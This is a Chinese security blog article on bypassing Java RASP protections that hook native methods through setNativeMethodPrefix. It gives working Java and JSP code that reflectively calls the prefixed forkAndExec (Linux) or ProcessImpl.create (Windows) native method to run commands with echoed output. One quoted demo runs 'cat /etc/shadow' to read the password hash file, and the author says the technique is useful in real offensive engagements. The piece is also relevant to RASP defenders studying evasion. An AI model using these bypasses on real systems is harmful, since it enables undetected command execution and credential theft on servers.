长亭百川云 - 文章详情

Bypass RASP NativeMethodPrefix学习

网络安全回收站

71

2024-07-13

背景

众所周知,Java的RASP是没有办法直接Hook Native方法的,但确实有这个场景的需求。于是JDK官方出了一个java.lang.instrument.Instrumentation#setNativeMethodPrefix,在Java方法映射C++方法的时候加一个前缀,这样相当于创建一个了原有Native方法的代理,从而实现了Hook Native方法。

jrasp应该是最早公开介绍该技术用于RASP防御的(经su18师傅提醒,严谨一些):https://www.jrasp.com/guide/technology/native\_method.html。

但是当攻击者有一定代码执行权限的时候,还是可以绕过。以命令执行来说,原来的Native方法为forkAndExec,加个前缀变成prefixforkAndExec,那么我们只需要反射调用prefixforkAndExec这个新的方法名即可。

turn1tup师傅给出了一个绕过的demo,核心逻辑为通过反射拿到真正的native方法,即可绕过RASP对于命令执行的hook:https://github.com/turn1tup/JvmRaspBypass/blob/main/src/main/java/com/test/RaspExample.java



1.  `try {`
    
2.      `Class<?> clazz = Class.forName("java.lang.UNIXProcess");`
    

4.      `//cmd2,bypass jrasp native hook`
    
5.      `for (Method m : clazz.getDeclaredMethods()) {`
    
6.          `if (m.getName().endsWith("forkAndExec")&&!m.getName().equals("forkAndExec")) {`
    
7.              `m.setAccessible(true);`
    
8.              `System.out.println("prefix native method : "+m.getName());`
    
9.              `Cmd.linuxCmd(new String[]{"/bin/bash","-c","cat /etc/shadow && touch /tmp/shadow2"},m);`
    
10.          `}`
    
11.      `}`
    
12.  `} catch (Exception ignore) {`
    
13.      `ignore.printStackTrace();`
    
14.  `}`
    


最近在实际攻防中发现该方式挺有用的,因此本人进行扩展,实现了一个Win/Linux下通用的,自动绕过MethodPrefix的,可回显的,反射Native方法执行命令的JSP Demo。

搞一个简单的RASP

为了测试,先模拟一个setNativeMethodPrefix的RASP,参考 https://www.secrss.com/articles/49044,主要逻辑为: 1.移除想要hook的native方法。 2.增加一个native方法,这个方法和hook的native方法除了方法名增加prefix,其他相同。 3.增加一个和hook native方法同名的java方法(除了native modifier之外其他和hook native 方法相同),其中返回时调用prefix native方法。 这里为了简单起见直接throw Exception,把命令执行给干掉。

核心代码如下:



1.  `public static byte[] transformed() {`
    
2.        `ClassPool pool = ClassPool.getDefault();`
    
3.        `CtClass clazz = null;`
    
4.        `try {`
    
5.            `System.out.println("start convert java.lang.UNIXProcess");`
    
6.            `clazz = pool.getCtClass("java.lang.UNIXProcess");`
    
7.            `if (clazz.isFrozen()) {`
    
8.                `clazz.defrost();`
    
9.            `}`
    
10.            `CtMethod method = CtNewMethod.make("int myPrefix_forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);", clazz);`
    
11.            `method.setModifiers(Modifier.PRIVATE | Modifier.NATIVE);`
    
12.            `System.out.println("add new native method myPrefix_forkAndExec");`
    
13.            `clazz.addMethod(method);`
    
14.            `CtMethod method1 = clazz.getDeclaredMethod("forkAndExec");`
    
15.            `System.out.println("remove old native method forkAndExec");`
    
16.            `clazz.removeMethod(method1);`
    
17.            `CtMethod method2 = CtNewMethod.make("int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10) { throw new RuntimeException(\"RASP hooked forkAndExec\"); }", clazz);`
    
18.            `System.out.println("add new method forkAndExec");`
    
19.            `clazz.addMethod(method2);`
    
20.            `return clazz.toBytecode();`
    
21.        `} catch (Exception e) {`
    
22.            `e.printStackTrace();`
    
23.        `}`
    
24.        `return new byte[0];`
    
25.    `}`
    


直接命令执行会被干掉

兼容无MethodPrefix场景&添加回显

把turn1tup师傅的代码改成JSP版本

可以绕过并执行命令,但是没回显,并且turn1tup师傅的代码仅适用于设置了MethodPrefix的场景,没设置反而不行。 javasec有一个Linux下反射Native执行命令并回显的demo,直接拿来改改 核心代码:



1.  `try {`
    
2.          `Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{`
    
3.                  `int.class, byte[].class, byte[].class, byte[].class, int.class,`
    
4.                  `byte[].class, int.class, byte[].class, int[].class, boolean.class`
    
5.          `});`
    

7.          `forkMethod.setAccessible(true);// 设置访问权限`
    
8.          `int pid = (int) forkMethod.invoke(processObject, new Object[]{`
    
9.                  `ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,`
    
10.                  `null, envc[0], null, std_fds, false`
    
11.          `});`
    
12.      `} catch (Exception e) {`
    
13.          `System.out.println("[-] reflect forkAndExec failed,try to bypass");`
    
14.          `for (Method m : processClass.getDeclaredMethods()) {`
    
15.              `if (m.getName().endsWith("forkAndExec") && !m.getName().equals("forkAndExec")) {`
    
16.                  `System.out.println("[+] get prefix native method : " + m.getName());`
    
17.                  `m.setAccessible(true);`
    
18.                  `int pid = (int) m.invoke(processObject, new Object[]{`
    
19.                          `ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,`
    
20.                          `null, envc[0], null, std_fds, false`
    
21.                  `});`
    
22.              `}`
    
23.          `}`
    
24.      `}`
    


效果

支持Windows

搜了一下发现公开的调用Native绕过的都是Linux平台的,debug看了一下Windows的Windows反射Native更简单:Windows执行命令对应的Native方法是java.lang.ProcessImpl#create,create方法是个static,不需要实例化对象就可以调用;另外获取回显的文件描述符stdHandles也不像Linux那么多处理分支,可以直接用代码实现,不需要再反射调用。

核心代码:



1.  `public static String WinCreateProcess(String cmd) throws Exception {`
    
2.      `Class<?> processImplClass = Class.forName("java.lang.ProcessImpl");`
    
3.      `long[] stdHandles = new long[]{-1, -1, -1}; // Initialize as invalid handles.`
    
4.      `sun.misc.JavaIOFileDescriptorAccess fdAccess`
    
5.              `= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();`
    

7.      `// 这里将 redirectErrorStream 设置为 true 以便于将错误输出重定向到标准输出`
    
8.      `boolean redirectErrorStream = true;`
    
9.      `try {`
    
10.          `Method createMethod = processImplClass.getDeclaredMethod("create",`
    
11.                  `String.class, String.class, String.class, long[].class, boolean.class);`
    
12.          `createMethod.setAccessible(true);`
    
13.          `long processHandle = (Long) createMethod.invoke(null, cmd, null, null, stdHandles, redirectErrorStream);`
    
14.      `} catch (Exception e) {`
    
15.          `System.out.println("[-] reflect create failed,try to bypass");`
    
16.          `for (Method m : processImplClass.getDeclaredMethods()) {`
    
17.              `if (m.getName().endsWith("create") && !m.getName().equals("create")) {`
    
18.                  `System.out.println("[+] get prefix native method : " + m.getName());`
    
19.                  `m.setAccessible(true);`
    
20.                  `long processHandle = (Long) m.invoke(null, cmd, null, null, stdHandles, redirectErrorStream);`
    
21.              `}`
    
22.          `}`
    
23.      `}`
    

25.      `FileDescriptor stdout_fd = new FileDescriptor();`
    
26.      `fdAccess.setHandle(stdout_fd, stdHandles[1]);`
    
27.      `InputStream stdout_stream = new BufferedInputStream(`
    
28.              `new FileInputStream(stdout_fd));`
    

30.      `return getStreamStr(stdout_stream, "GBK");`
    
31.  `}`
    


效果 直接执行命令,会被干掉。运行POC,即可绕过。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2